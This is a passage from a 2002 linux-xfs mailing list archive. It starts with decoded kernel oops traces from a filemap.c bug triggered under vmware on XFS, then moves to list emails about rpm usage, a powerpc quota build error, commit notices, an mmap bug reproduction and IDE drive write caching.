>>edx; 00007020 Before first symbol >>ebp; cc04e7b4 <_end+bc13018/104cc864> >>esp; c7cb5d74 <_end+787a5d8/104cc864> Trace; c01298d7 Trace; c012995b Trace; c01d1874 Trace; c01e75d9 Trace; c02127aa Trace; c01f61d5 Trace; c014e49e Trace; c0138d66 Trace; c0128f0c Trace; c0139079 Trace; c01478a3 Trace; c0108913 Code; c01296db 00000000 <_EIP>: Code; c01296db <===== 0: 0f 0b ud2a <===== Code; c01296dd 2: 5a pop %edx Code; c01296de 3: 59 pop %ecx Code; c01296df 4: 8b 43 30 mov 0x30(%ebx),%eax Code; c01296e2 7: 85 c0 test %eax,%eax Code; c01296e4 9: 74 0e je 19 <_EIP+0x19> c01296f4 Code; c01296e6 b: 6a 00 push $0x0 Code; c01296e8 d: 53 push %ebx Code; c01296e9 e: e8 a2 ff ff ff call ffffffb5 <_EIP+0xffffffb5> c0129690 Code; c01296ee 13: 5a pop %edx Jul 30 12:17:10 knut kernel: kernel BUG at filemap.c:247! Jul 30 12:17:10 knut kernel: invalid operand: 0000 Jul 30 12:17:10 knut kernel: CPU: 0 Jul 30 12:17:10 knut kernel: EIP: 0010:[truncate_complete_page+27/96] Tainted: PF Jul 30 12:17:10 knut kernel: EIP: 0010:[] Tainted: PF Jul 30 12:17:10 knut kernel: EFLAGS: 00213282 Jul 30 12:17:10 knut kernel: eax: 0000001d ebx: c11919f8 ecx: 00000001 edx: 0000760d Jul 30 12:17:10 knut kernel: esi: 00000000 edi: 00000000 ebp: c9de37b4 esp: c5193d74 Jul 30 12:17:10 knut kernel: ds: 0018 es: 0018 ss: 0018 Jul 30 12:17:10 knut kernel: Process vmware (pid: 26974, stackpage=c5193000) Jul 30 12:17:10 knut kernel: Stack: c02bf77b 000000f7 c11919f8 c01298d7 c11919f8 00000000 00000001 c5193dbc Jul 30 12:17:10 knut kernel: 00000000 5251504f 56555453 5a595857 c037a800 00000000 c5193dbc 00000000 Jul 30 12:17:10 knut kernel: c9de37b4 c012995b 00000000 00000000 00000000 c9de3824 cf66059c c01d1874 Jul 30 12:17:10 knut kernel: Call Trace: [truncate_list_pages+439/512] truncate_list_pages [kernel] 0x1b7 Jul 30 12:17:10 knut kernel: Call Trace: [] truncate_list_pages [kernel] 0x1b7 Jul 30 12:17:10 knut kernel: [] truncate_inode_pages [kernel] 0x3b Jul 30 12:17:10 knut kernel: [] xfs_itruncate_start [kernel] 0x74 Jul 30 12:17:10 knut kernel: [] xfs_setattr [kernel] 0x7a9 Jul 30 12:17:10 knut kernel: [] poke_blanked_console [kernel] 0xa Jul 30 12:17:10 knut kernel: [] linvfs_setattr [kernel] 0x165 Jul 30 12:17:10 knut kernel: [] notify_change [kernel] 0x5e Jul 30 12:17:10 knut kernel: [] do_truncate [kernel] 0x46 Jul 30 12:17:10 knut kernel: [] do_munmap [kernel] 0x27c Jul 30 12:17:10 knut kernel: [] sys_ftruncate [kernel] 0x129 Jul 30 12:17:10 knut kernel: [] sys_ioctl [kernel] 0x223 Jul 30 12:17:10 knut kernel: [] system_call [kernel] 0x33 Jul 30 12:17:10 knut kernel: Code: 0f 0b 5a 59 8b 43 30 85 c0 74 0e 6a 00 53 e8 a2 ff ff ff 5a >>EIP; c01296db <===== >>ebx; c11919f8 <_end+d5625c/104cc864> >>edx; 0000760d Before first symbol >>ebp; c9de37b4 <_end+99a8018/104cc864> >>esp; c5193d74 <_end+4d585d8/104cc864> Trace; c01298d7 Trace; c012995b Trace; c01d1874 Trace; c01e75d9 Trace; c02127aa Trace; c01f61d5 Trace; c014e49e Trace; c0138d66 Trace; c0128f0c Trace; c0139079 Trace; c01478a3 Trace; c0108913 Code; c01296db 00000000 <_EIP>: Code; c01296db <===== 0: 0f 0b ud2a <===== Code; c01296dd 2: 5a pop %edx Code; c01296de 3: 59 pop %ecx Code; c01296df 4: 8b 43 30 mov 0x30(%ebx),%eax Code; c01296e2 7: 85 c0 test %eax,%eax Code; c01296e4 9: 74 0e je 19 <_EIP+0x19> c01296f4 Code; c01296e6 b: 6a 00 push $0x0 Code; c01296e8 d: 53 push %ebx Code; c01296e9 e: e8 a2 ff ff ff call ffffffb5 <_EIP+0xffffffb5> c0129690 Code; c01296ee 13: 5a pop %edx Jul 30 12:17:43 knut kernel: kernel BUG at filemap.c:247! Jul 30 12:17:43 knut kernel: invalid operand: 0000 Jul 30 12:17:43 knut kernel: CPU: 0 Jul 30 12:17:43 knut kernel: EIP: 0010:[truncate_complete_page+27/96] Tainted: PF Jul 30 12:17:43 knut kernel: EIP: 0010:[] Tainted: PF Jul 30 12:17:43 knut kernel: EFLAGS: 00213282 Jul 30 12:17:43 knut kernel: eax: 0000001d ebx: c1336408 ecx: 00000001 edx: 00007bfb Jul 30 12:17:43 knut kernel: esi: 00000000 edi: 00000000 ebp: c4f66a34 esp: c3cc7d74 Jul 30 12:17:43 knut kernel: ds: 0018 es: 0018 ss: 0018 Jul 30 12:17:43 knut kernel: Process vmware (pid: 26984, stackpage=c3cc7000) Jul 30 12:17:43 knut kernel: Stack: c02bf77b 000000f7 c1336408 c01298d7 c1336408 00000000 00000001 c3cc7dbc Jul 30 12:17:43 knut kernel: 00000000 5251504f 56555453 5a595857 c037a800 00000000 c3cc7dbc 00000000 Jul 30 12:17:43 knut kernel: c4f66a34 c012995b 00000000 00000000 00000000 c4f66aa4 c48a53e8 c01d1874 Jul 30 12:17:43 knut kernel: Call Trace: [truncate_list_pages+439/512] truncate_list_pages [kernel] 0x1b7 Jul 30 12:17:43 knut kernel: Call Trace: [] truncate_list_pages [kernel] 0x1b7 Jul 30 12:17:43 knut kernel: [] truncate_inode_pages [kernel] 0x3b Jul 30 12:17:43 knut kernel: [] xfs_itruncate_start [kernel] 0x74 Jul 30 12:17:43 knut kernel: [] xfs_setattr [kernel] 0x7a9 Jul 30 12:17:43 knut kernel: [] poke_blanked_console [kernel] 0xa Jul 30 12:17:43 knut kernel: [] linvfs_setattr [kernel] 0x165 Jul 30 12:17:43 knut kernel: [] notify_change [kernel] 0x5e Jul 30 12:17:43 knut kernel: [] do_truncate [kernel] 0x46 Jul 30 12:17:43 knut kernel: [] do_munmap [kernel] 0x27c Jul 30 12:17:43 knut kernel: [] sys_ftruncate [kernel] 0x129 Jul 30 12:17:43 knut kernel: [] sys_ioctl [kernel] 0x223 Jul 30 12:17:43 knut kernel: [] system_call [kernel] 0x33 Jul 30 12:17:43 knut kernel: Code: 0f 0b 5a 59 8b 43 30 85 c0 74 0e 6a 00 53 e8 a2 ff ff ff 5a >>EIP; c01296db <===== >>ebx; c1336408 <_end+efac6c/104cc864> >>edx; 00007bfb Before first symbol >>ebp; c4f66a34 <_end+4b2b298/104cc864> >>esp; c3cc7d74 <_end+388c5d8/104cc864> Trace; c01298d7 Trace; c012995b Trace; c01d1874 Trace; c01e75d9 Trace; c02127aa Trace; c01f61d5 Trace; c014e49e Trace; c0138d66 Trace; c0128f0c Trace; c0139079 Trace; c01478a3 Trace; c0108913 Code; c01296db 00000000 <_EIP>: Code; c01296db <===== 0: 0f 0b ud2a <===== Code; c01296dd 2: 5a pop %edx Code; c01296de 3: 59 pop %ecx Code; c01296df 4: 8b 43 30 mov 0x30(%ebx),%eax Code; c01296e2 7: 85 c0 test %eax,%eax Code; c01296e4 9: 74 0e je 19 <_EIP+0x19> c01296f4 Code; c01296e6 b: 6a 00 push $0x0 Code; c01296e8 d: 53 push %ebx Code; c01296e9 e: e8 a2 ff ff ff call ffffffb5 <_EIP+0xffffffb5> c0129690 Code; c01296ee 13: 5a pop %edx Jul 30 12:18:29 knut kernel: kernel BUG at filemap.c:247! Jul 30 12:18:29 knut kernel: invalid operand: 0000 Jul 30 12:18:29 knut kernel: CPU: 0 Jul 30 12:18:29 knut kernel: EIP: 0010:[truncate_complete_page+27/96] Tainted: PF Jul 30 12:18:29 knut kernel: EIP: 0010:[] Tainted: PF Jul 30 12:18:29 knut kernel: EFLAGS: 00213282 Jul 30 12:18:29 knut kernel: eax: 0000001d ebx: c12d36e8 ecx: 00000001 edx: 000081e9 Jul 30 12:18:29 knut kernel: esi: 00000000 edi: 00000000 ebp: c9de31b4 esp: cbba1d74 Jul 30 12:18:29 knut kernel: ds: 0018 es: 0018 ss: 0018 Jul 30 12:18:29 knut kernel: Process vmware (pid: 26992, stackpage=cbba1000) Jul 30 12:18:29 knut kernel: Stack: c02bf77b 000000f7 c12d36e8 c01298d7 c12d36e8 00000000 00000001 cbba1dbc Jul 30 12:18:29 knut kernel: 00000000 5251504f 56555453 5a595857 ffffff00 00000000 cbba1dbc 00000000 Jul 30 12:18:29 knut kernel: c9de31b4 c012995b 00000000 00000000 00000000 c9de3224 c48a559c c01d1874 Jul 30 12:18:29 knut kernel: Call Trace: [truncate_list_pages+439/512] truncate_list_pages [kernel] 0x1b7 Jul 30 12:18:29 knut kernel: Call Trace: [] truncate_list_pages [kernel] 0x1b7 Jul 30 12:18:29 knut kernel: [] truncate_inode_pages [kernel] 0x3b Jul 30 12:18:29 knut kernel: [] xfs_itruncate_start [kernel] 0x74 Jul 30 12:18:29 knut kernel: [] xfs_setattr [kernel] 0x7a9 Jul 30 12:18:29 knut kernel: [] poke_blanked_console [kernel] 0xa Jul 30 12:18:29 knut kernel: [] linvfs_setattr [kernel] 0x165 Jul 30 12:18:29 knut kernel: [] notify_change [kernel] 0x5e Jul 30 12:18:29 knut kernel: [] do_truncate [kernel] 0x46 Jul 30 12:18:29 knut kernel: [] do_munmap [kernel] 0x27c Jul 30 12:18:29 knut kernel: [] sys_ftruncate [kernel] 0x129 Jul 30 12:18:29 knut kernel: [] sys_ioctl [kernel] 0x223 Jul 30 12:18:29 knut kernel: [] system_call [kernel] 0x33 Jul 30 12:18:29 knut kernel: Code: 0f 0b 5a 59 8b 43 30 85 c0 74 0e 6a 00 53 e8 a2 ff ff ff 5a >>EIP; c01296db <===== >>ebx; c12d36e8 <_end+e97f4c/104cc864> >>edx; 000081e9 Before first symbol >>ebp; c9de31b4 <_end+99a7a18/104cc864> >>esp; cbba1d74 <_end+b7665d8/104cc864> Trace; c01298d7 Trace; c012995b Trace; c01d1874 Trace; c01e75d9 Trace; c02127aa Trace; c01f61d5 Trace; c014e49e Trace; c0138d66 Trace; c0128f0c Trace; c0139079 Trace; c01478a3 Trace; c0108913 Code; c01296db 00000000 <_EIP>: Code; c01296db <===== 0: 0f 0b ud2a <===== Code; c01296dd 2: 5a pop %edx Code; c01296de 3: 59 pop %ecx Code; c01296df 4: 8b 43 30 mov 0x30(%ebx),%eax Code; c01296e2 7: 85 c0 test %eax,%eax Code; c01296e4 9: 74 0e je 19 <_EIP+0x19> c01296f4 Code; c01296e6 b: 6a 00 push $0x0 Code; c01296e8 d: 53 push %ebx Code; c01296e9 e: e8 a2 ff ff ff call ffffffb5 <_EIP+0xffffffb5> c0129690 Code; c01296ee 13: 5a pop %edx 1 warning issued. Results may not be reliable. From owner-linux-xfs@oss.sgi.com Sun Aug 4 09:24:20 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g74GOKRw012969 for ; Sun, 4 Aug 2002 09:24:20 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g74GOKOE012968 for linux-xfs-outgoing; Sun, 4 Aug 2002 09:24:20 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g74GOFRw012938 for ; Sun, 4 Aug 2002 09:24:16 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17bOCg-0008K8-00; Sun, 04 Aug 2002 17:26:02 +0100 Date: Sun, 4 Aug 2002 17:26:02 +0100 From: Christoph Hellwig To: Knut J Bjuland Cc: linux-xfs@oss.sgi.com Subject: Re: problem with filemap.c bug at 247 Message-ID: <20020804172602.A31989@infradead.org> References: <3D4D52AA.A85DD8A0@online.no> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <3D4D52AA.A85DD8A0@online.no>; from knutjbj@online.no on Sun, Aug 04, 2002 at 06:13:31PM +0200 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Sun, Aug 04, 2002 at 06:13:31PM +0200, Knut J Bjuland wrote: > I have a redhat linux 2.4.18-5 kernel with xfs support version 1.1. > When using either wine or vmware I am able to get this error. There are > no alternation to the code except by changeing touch_page to > mark_page_accessed and using maplist in pagebuf.c and pagebuf_io.c What modules were loaded? From owner-linux-xfs@oss.sgi.com Sun Aug 4 13:38:31 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g74KcURw021055 for ; Sun, 4 Aug 2002 13:38:30 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g74KcU8f021054 for linux-xfs-outgoing; Sun, 4 Aug 2002 13:38:30 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from brainstem.idcomm.com (brainstem.idcomm.com [207.40.196.12]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g74KcORw021026 for ; Sun, 4 Aug 2002 13:38:24 -0700 Received: from idcomm.com (IDENT:nDucHHA0yhOl8ItsZAXv6kXINu7FeT9y@tnt01-ppp-106.idcomm.com [216.98.194.106]) by brainstem.idcomm.com (8.11.6/8.11.6) with ESMTP id g74KeDL09600 for ; Sun, 4 Aug 2002 14:40:13 -0600 X-Spam-Filter: check_local@brainstem.idcomm.com by digitalanswers.org Message-ID: <3D4D916D.8020305@idcomm.com> Date: Sun, 04 Aug 2002 14:41:17 -0600 From: "D. Stimits" Reply-To: stimits@idcomm.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc3) Gecko/20020528 X-Accept-Language: en-us, en MIME-Version: 1.0 CC: "XFS: linux-xfs@oss.sgi.com" Subject: Re: rpm bookkeeping References: <3D4C8776.3050700@idcomm.com> <3D4D0F91.4070404@koschikode.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Juri Haberland wrote: > D. Stimits wrote: > >>I just did a cvs update to 2.4.19, from 2.4.19-rc2. Apparently the cmd >>rpms are the same version, without any changes. Even so, I did a make >>cmd and ran "rpm -Uvh *" on the i386 subdirectory, most simply said the > > > FWIW: better use 'rpm -Fhv *.rpm'. > '-U' would install every rpm that is currently not installed or older. > '-F' just updates currently installed rpms if newer versions are available. > > Cheers, > Juri If there was a new rpm, I wanted it installed, so the -U was ok in this case. I do use -F when I only want update if previously present. D. Stimits, stimits AT idcomm.com From owner-linux-xfs@oss.sgi.com Mon Aug 5 01:24:50 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g758OoRw032650 for ; Mon, 5 Aug 2002 01:24:50 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g758OoJ6032649 for linux-xfs-outgoing; Mon, 5 Aug 2002 01:24:50 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g758OeRw032612 for ; Mon, 5 Aug 2002 01:24:40 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id BAA07973 for ; Mon, 5 Aug 2002 01:26:30 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id SAA09044; Mon, 5 Aug 2002 18:25:11 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g758N46D003920; Mon, 5 Aug 2002 18:23:04 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g758N2kC003918; Mon, 5 Aug 2002 18:23:02 +1000 Date: Mon, 5 Aug 2002 18:23:02 +1000 From: Nathan Scott To: Ethan Benson , Christoph Hellwig , Jan Kara Cc: linux-xfs@oss.sgi.com Subject: Re: 2.4.19 with split patches fails to build quota on powerpc Message-ID: <20020805082302.GG3410@frodo> References: <20020803145056.A25690@plato.local.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020803145056.A25690@plato.local.lan> User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-3.1 required=5.0 tests=IN_REP_TO,MAY_BE_FORGED version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk hi, Looks like this crept in with that 2.5 quota port, Christoph. On 2.5, L1_CACHE_SHIFT is declared for all architectures. I guess we could go back to using HASHDEV(sb->s_dev?) for 2.4? A simple build fix, Ethan, would be to change dquot.c::hashfn so that it uses the HASHDEV macro again (similar to revision 1.48 of fs/dquot.c, except no dev parameter anymore so use sb->s_dev instead). I'll wait to hear from Christoph &/ Jan before checking anything into the tree though. cheers. -- Nathan On Sat, Aug 03, 2002 at 02:50:56PM -0800, Ethan Benson wrote: > This may not be the right place to report this, but... > > on powerpc the following occurs: > > gcc -D__KERNEL__ -I/usr/local/src/linux-2.4.19/include -Wall > -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing > -fno-common -fomit-frame-pointer -D__powerpc__ -fsigned-char > -msoft-float -pipe -ffixed-r2 -Wno-uninitialized -mmultiple -mstring > -nostdinc -I /usr/lib/gcc-lib/powerpc-linux/2.95.4/include > -DKBUILD_BASENAME=dquot -DEXPORT_SYMTAB -c dquot.c > dquot.c: In function `hashfn': > dquot.c:182: `L1_CACHE_SHIFT' undeclared (first use in this function) > dquot.c:182: (Each undeclared identifier is reported only once > dquot.c:182: for each function it appears in.) > dquot.c:183: warning: control reaches end of non-void function > make[3]: *** [dquot.o] Error 1 > make[3]: Leaving directory `/usr/local/src/linux-2.4.19/fs' > make[2]: *** [first_rule] Error 2 > make[2]: Leaving directory `/usr/local/src/linux-2.4.19/fs' > make[1]: *** [_dir_fs] Error 2 > > AFAICT L1_CACHE_SHIFT is not defined for the powerpc arch (only alpha, > mips64, s390, i386 and ia64 define it). > > the offending line is: > > static inline int const hashfn(struct super_block *sb, unsigned int > id, int type) > { > return((((unsigned long)sb>>L1_CACHE_SHIFT) ^ id) * (MAXQUOTAS - type)) % NR_DQHASH; > } > > this changed somewhere between -rc3 and the final 2.4.19 (rc3 was fine). > > -- > Ethan Benson > http://www.alaska.net/~erbenson/ From owner-linux-xfs@oss.sgi.com Mon Aug 5 01:46:14 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g758kERw000660 for ; Mon, 5 Aug 2002 01:46:14 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g758kEAl000659 for linux-xfs-outgoing; Mon, 5 Aug 2002 01:46:14 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g758k9Rw000631 for ; Mon, 5 Aug 2002 01:46:09 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id BAA05721 for ; Mon, 5 Aug 2002 01:48:00 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id SAA40231; Mon, 5 Aug 2002 18:46:43 +1000 (EST) Date: Mon, 5 Aug 2002 18:46:43 +1000 (EST) From: Nathan Scott Message-Id: <200208050846.SAA40231@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com, agruen@suse.de Subject: TAKE - tweak man page X-Spam-Status: No, hits=1.3 required=5.0 tests=MAY_BE_FORGED version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Mon Aug 5 01:45:20 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:124289a cmd/attr/man/man2/setxattr.2 - 1.4 - fix from AG - this flag only existed while we were originally fleshing out the xattr syscalls - removing is done via the removexattr syscalls nowadays. From owner-linux-xfs@oss.sgi.com Mon Aug 5 01:54:41 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g758sfRw000957 for ; Mon, 5 Aug 2002 01:54:41 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g758sf4Y000956 for linux-xfs-outgoing; Mon, 5 Aug 2002 01:54:41 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g758sXRw000920 for ; Mon, 5 Aug 2002 01:54:33 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id BAA01254 for ; Mon, 5 Aug 2002 01:56:24 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id SAA57551 for linux-xfs@oss.sgi.com; Mon, 5 Aug 2002 18:55:07 +1000 (EST) Date: Mon, 5 Aug 2002 18:55:07 +1000 (EST) From: Nathan Scott Message-Id: <200208050855.SAA57551@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - xfsinvutil X-Spam-Status: No, hits=1.3 required=5.0 tests=MAY_BE_FORGED version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Mon Aug 5 01:54:23 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:124290a cmd/xfsdump/VERSION - 1.37 cmd/xfsdump/doc/CHANGES - 1.45 cmd/xfsdump/man/man8/xfsinvutil.8 - 1.4 cmd/xfsdump/debian/changelog - 1.28 cmd/xfsdump/invutil/invutil.c - 1.13 cmd/xfsdump/invutil/getopt.h - 1.3 cmd/xfsdump/invutil/list.c - 1.2 cmd/xfsdump/invutil/stobj.h - 1.2 cmd/xfsdump/invutil/stobj.c - 1.3 cmd/xfsdump/invutil/screen.c - 1.2 cmd/xfsdump/invutil/menu.c - 1.2 cmd/xfsdump/invutil/list.h - 1.2 cmd/xfsdump/invutil/cmenu.c - 1.2 cmd/xfsdump/invutil/invidx.h - 1.2 cmd/xfsdump/invutil/cmenu.h - 1.2 cmd/xfsdump/invutil/fstab.c - 1.2 cmd/xfsdump/invutil/invutil.h - 1.2 cmd/xfsdump/invutil/invidx.c - 1.2 cmd/xfsdump/invutil/fstab.h - 1.2 - Bump version, document changes: o xfsinvutil -m option added (merge from IRIX). o add missing GPL/copyright headers to several xfsinvutil files. o correct several uses of uuid_compare in xfsinvutil. From owner-linux-xfs@oss.sgi.com Mon Aug 5 01:56:22 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g758uMRw001145 for ; Mon, 5 Aug 2002 01:56:22 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g758uL8A001144 for linux-xfs-outgoing; Mon, 5 Aug 2002 01:56:21 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from fruit.eu.org (qmailr@17dyn28.ztm.casema.net [213.17.32.28]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g758uGRw001113 for ; Mon, 5 Aug 2002 01:56:16 -0700 Received: (qmail 5755 invoked by uid 500); 5 Aug 2002 08:58:06 -0000 Date: Mon, 5 Aug 2002 10:58:06 +0200 From: Wessel Dankers To: linux-xfs@oss.sgi.com Subject: Re: The mmap() problem is back Message-ID: <20020805085806.GC863@fruit.eu.org> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20020803132927.GA576@fruit.eu.org> <9862.1028384103@ocs3.intra.ocs.com.au> <20020803142405.GC576@fruit.eu.org> <1028390577.1131.4.camel@laptop.americas.sgi.com> <20020803160859.GE576@fruit.eu.org> <1028391174.1131.8.camel@laptop.americas.sgi.com> <20020803165941.GF576@fruit.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020803165941.GF576@fruit.eu.org> User-Agent: Mutt/1.4i X-oi: oi X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On 2002-08-03 18:59:41+0200, Wessel Dankers wrote: > Also of note may be that I'm running it with the ngpt futex patch and the > O(1) scheduler patch. I just tried a kernel without any patches whatsoever: it exhibits the same problem. I did notice that the file needs to be written in small chunks at a time. For example: dd if=/dev/zero of=foo bs=1024 count=9 HTH, -- Wessel Dankers we just switched to FDDI. From owner-linux-xfs@oss.sgi.com Mon Aug 5 02:03:02 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g75932Rw001396 for ; Mon, 5 Aug 2002 02:03:02 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g75932g7001395 for linux-xfs-outgoing; Mon, 5 Aug 2002 02:03:02 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mx.de.kpnqwest.net (mx.de.kpnqwest.net [193.141.40.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7592gRw001366 for ; Mon, 5 Aug 2002 02:02:43 -0700 Received: from lizard.webland.de (lizard.webland.de [194.122.76.201]) by mx.de.kpnqwest.net (Postfix (mxkq02)) with ESMTP id 402B3C24A; Mon, 5 Aug 2002 10:41:08 +0200 (MEST) (envelope-from simon.matter@ch.sauter-bc.com) Received: (from uucp@localhost) by lizard.webland.de (8.8.8/8.8.7) id KAA01123; Mon, 5 Aug 2002 10:41:06 +0200 (MET DST) >Received: from mobile.sauter-bc.com (unknown [10.1.6.21]) by basel1.sauter-bc.com (Postfix) with ESMTP id 0911C57306; Mon, 5 Aug 2002 10:40:08 +0200 (CEST) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by mobile.sauter-bc.com (Postfix) with ESMTP id 7C94E25836; Mon, 5 Aug 2002 10:40:06 +0200 (CEST) Message-ID: <3D4E39E6.A76A0B15@ch.sauter-bc.com> Date: Mon, 05 Aug 2002 10:40:06 +0200 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.19-6.2.16 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: Greg Freemyer Cc: Federico Sevilla III , linux-xfs@oss.sgi.com Subject: Re: recovery failed after power off References: <20020802204138.WEZL6404.imf08bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Greg Freemyer schrieb: > > >> On Fri, Aug 02, 2002 at 02:19:28PM +0200, Christian Thalinger wrote: > >> > Yep, IDE drive with write cache. Sorry, i could guess it myself. > >> > Without write cache recovery seems to be ok. Now i have to find out > >> > how to disable write cache of IDE drives on a 3ware controller ;-) > > >> This can be done both via the 3ware BIOS which you can enter at bootup, > >> or via the 3dmd web-based management system. > > >> --> Jijo > > I know that turns off the write cache on the 3ware controller itself. > > Does it also turn off the write cache on the underlying IDE drives? There are tools around, usually from the drive vendor, with which you can change cache configuration. Unfortunately there are IDE drives around which don't disable write cache even if they are configured to do so. Simon > > Greg Freemyer > Internet Engineer > Deployment and Integration Specialist > Compaq ASE - Tru64 v4, v5 > Compaq Master ASE - SAN Architect > The Norcross Group > www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Mon Aug 5 02:03:28 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7593SRw001522 for ; Mon, 5 Aug 2002 02:03:28 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id 